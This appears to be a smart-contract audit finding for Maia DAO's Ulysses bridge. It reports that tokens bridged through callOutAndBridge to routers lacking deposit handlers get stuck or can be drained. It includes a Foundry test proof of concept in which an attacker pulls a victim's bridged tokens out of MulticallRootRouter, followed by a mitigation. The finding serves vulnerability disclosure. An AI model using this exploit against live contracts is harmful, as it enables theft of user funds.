Maia DAO - Ulysses - Soul22's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgentExecutor.sol#L97 https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgentExecutor.sol#L121

Vulnerability details

Impact

The callOutAndBridge() and callOutAndBridgeMultiple() functions are unsigned functions, which means they don't make use of the Virtual Account. Consequently, funds bridged to the root environment should be directed towards customs routers designed to execute remote requests. However, there are issues with the current implementation.

    function executeWithDeposit(address _router, bytes calldata _payload, uint16 _srcChainId)
        external
        payable
        onlyOwner
    {
        // Read Deposit Params
        DepositParams memory dParams = DepositParams({
            depositNonce: uint32(bytes4(_payload[PARAMS_START:PARAMS_TKN_START])),
            hToken: address(uint160(bytes20(_payload[PARAMS_TKN_START:PARAMS_TKN_START_SIGNED]))),
            token: address(uint160(bytes20(_payload[PARAMS_TKN_START_SIGNED:45]))),
            amount: uint256(bytes32(_payload[45:77])),
            deposit: uint256(bytes32(_payload[77:PARAMS_TKN_SET_SIZE]))
        });

        // Bridge In Assets
        _bridgeIn(_router, dParams, _srcChainId); //@audit transfer/mint hTokens to the router 

        // Check if there is additional calldata in the payload
        if (_payload.length > PARAMS_TKN_SET_SIZE) {
            //Execute remote request
            //@audit Not implemented in the `CoreRootRouter` and `MulticallRootRouter` contracts
            IRouter(_router).executeDepositSingle{value: msg.value}(
                _payload[PARAMS_TKN_SET_SIZE:], dParams, _srcChainId
            );
        }
    }

The CoreRootRouter and MulticallRootRouter contracts do not have the IRouter.executeDepositSingle() and IRouter.executeDepositMultiple() functions implemented. However, users are still able to bridge in tokens. Funds will be lost in the CoreRootRouter contract because there is no way to transfer tokens out. Similarly, funds can be drained in the MulticallRootRouter contract.

There are two scenarios in which users may lose funds:

1. Users may mistakenly use callOutAndBridge() instead of callOutSignedAndBridge() when their intention is to bridge out and deposit funds into their virtual accounts.

2. Another potential fund loss scenario arises when users choose the wrong router while attempting to bridge tokens using custom routers.

Proof of Concept

For simplicity, let's assume a user calls the callOutAndBridge() function from the Arbitrum branch and the router she choose is MulticallRootRouter. An attacker can drain the MulticallRootRouter contract by calling the callOut() function from the Arbitrum branch after funds have been bridged out and deposited into it.

Copy and paste the following code snippet to ArbitrumBranchTest.t.sol.

    function testFuzzCallOutAndBridge(address _user, uint256 _amount, uint256 _deposit) public {
        hevm.assume(_user != address(0)  && _amount != 0);
        hevm.assume(_deposit <= _amount);

        // Set up
        testAddLocalTokenArbitrum();

        //Gas Params
        GasParams memory gasParams = GasParams(0.5 ether, 0.5 ether);

        // Get some gas.
        hevm.deal(_user, 1 ether);

        //Prepare data
        bytes memory params = bytes("");
    
        // Mint Underlying Token.
        if (_deposit > 0) arbitrumNativeToken.mint(_user, _deposit);
        if (_amount - _deposit > 0) {
            // Assure there is enough balance
            hevm.startPrank(address(rootPort));
            ERC20hTokenRoot(newArbitrumAssetGlobalAddress).mint(_user, _amount - _deposit, rootChainId);
            hevm.stopPrank();
            arbitrumNativeToken.mint(address(localPortAddress), _amount - _deposit);
        }

        // Prepare deposit info
        DepositInput memory depositInput = DepositInput({
            hToken: address(newArbitrumAssetGlobalAddress),
            token: address(arbitrumNativeToken),
            amount: _amount,
            deposit: _deposit
        });

        address rootBridgeAgentAddress = arbitrumMulticallBridgeAgent.rootBridgeAgentAddress();
        address rootRouterAddress = RootBridgeAgent(payable(rootBridgeAgentAddress)).localRouterAddress();

        //before the callOutAndBridge() function is called by the _user
        assert(MockERC20(arbitrumNativeToken).balanceOf(address(_user)) == _deposit);
        assert(MockERC20(newArbitrumAssetGlobalAddress).balanceOf(_user) == _amount - _deposit);
        assert(MockERC20(arbitrumNativeToken).balanceOf(address(localPortAddress)) == _amount - _deposit); 
        assert(MockERC20(newArbitrumAssetGlobalAddress).balanceOf(rootRouterAddress) == 0);

        // Call the callOutAndBridge() function
        hevm.startPrank(_user);
        arbitrumNativeToken.approve(address(localPortAddress), _deposit);
        ERC20hTokenRoot(newArbitrumAssetGlobalAddress).approve(address(rootPort), _amount - _deposit);
        arbitrumMulticallBridgeAgent.callOutAndBridge{value: 1 ether}(payable(_user), params, depositInput, gasParams);
        hevm.stopPrank();


        //after the callOutAndBridge() function is called by _user
        assert(MockERC20(arbitrumNativeToken).balanceOf(address(_user)) == 0);
        assert(MockERC20(newArbitrumAssetGlobalAddress).balanceOf(_user) == 0);
        assert(MockERC20(arbitrumNativeToken).balanceOf(address(localPortAddress)) ==  _amount);
        assert(MockERC20(newArbitrumAssetGlobalAddress).balanceOf(rootRouterAddress) == _amount);



        //** The Attack Begins */
        uint256 random_private_key = 21676371825445336312673671266632147661278631263671236717864331232197;
        address _attacker = hevm.addr(random_private_key);
        assert(_attacker != _user && _attacker != address(0));


        // Get some gas.
        hevm.deal(_attacker, 1 ether);

        //Prepare data
        bytes memory params_2;

        {
            Multicall2.Call[] memory empty_call;

            // Output Params
            OutputParams memory outputParams_2 =
                OutputParams(_attacker, newArbitrumAssetGlobalAddress, _amount, _amount);

            GasParams memory gasParams_2 = GasParams(0, 0);

            // RLP Encode Calldata
            bytes memory data_2 = abi.encode(empty_call, outputParams_2, rootChainId, gasParams_2);

            // Pack FuncId
            //MulticallRootRouter.execute() function ID: bytes(0x02) multicallSingleOutput
            params_2 = abi.encodePacked(bytes1(0x02), data_2);
        }

        //before the callOut() function is called by the _attacker
        assert(MockERC20(arbitrumNativeToken).balanceOf(_attacker) == 0);
        assert(MockERC20(arbitrumNativeToken).balanceOf(address(localPortAddress)) ==  _amount);


        hevm.startPrank(_attacker);
        arbitrumMulticallBridgeAgent.callOut(payable(_attacker), params_2, gasParams);
        hevm.stopPrank();

        //after the callOut() function is called by the _attacker
        assert(MockERC20(arbitrumNativeToken).balanceOf(_attacker) == _amount);
        assert(MockERC20(arbitrumNativeToken).balanceOf(address(localPortAddress)) == 0);
    }

Tools Used

None

Recommended Mitigation Steps

The CoreRootRouter and MulticallRootRouter contracts do not implement the IRouter.executeDepositSingle() and IRouter.executeDepositMultiple() functions. Therefore, it seems that these two routers are not intended to execute requests made by the callOutAndBridge() or callOutAndBridgeMultiple() function. To address this issue, we can add a check in the RootBridgeAgentExecutor.executeWithDeposit and RootBridgeAgentExecutor.executeWithDepositMultiple() functions to verify if the given _router address is intended to handle these specific functions. By adding this verification step, we can prevent unintended fund loss and ensure that the funds are directed to the correct router for processing.

Assessed type

Error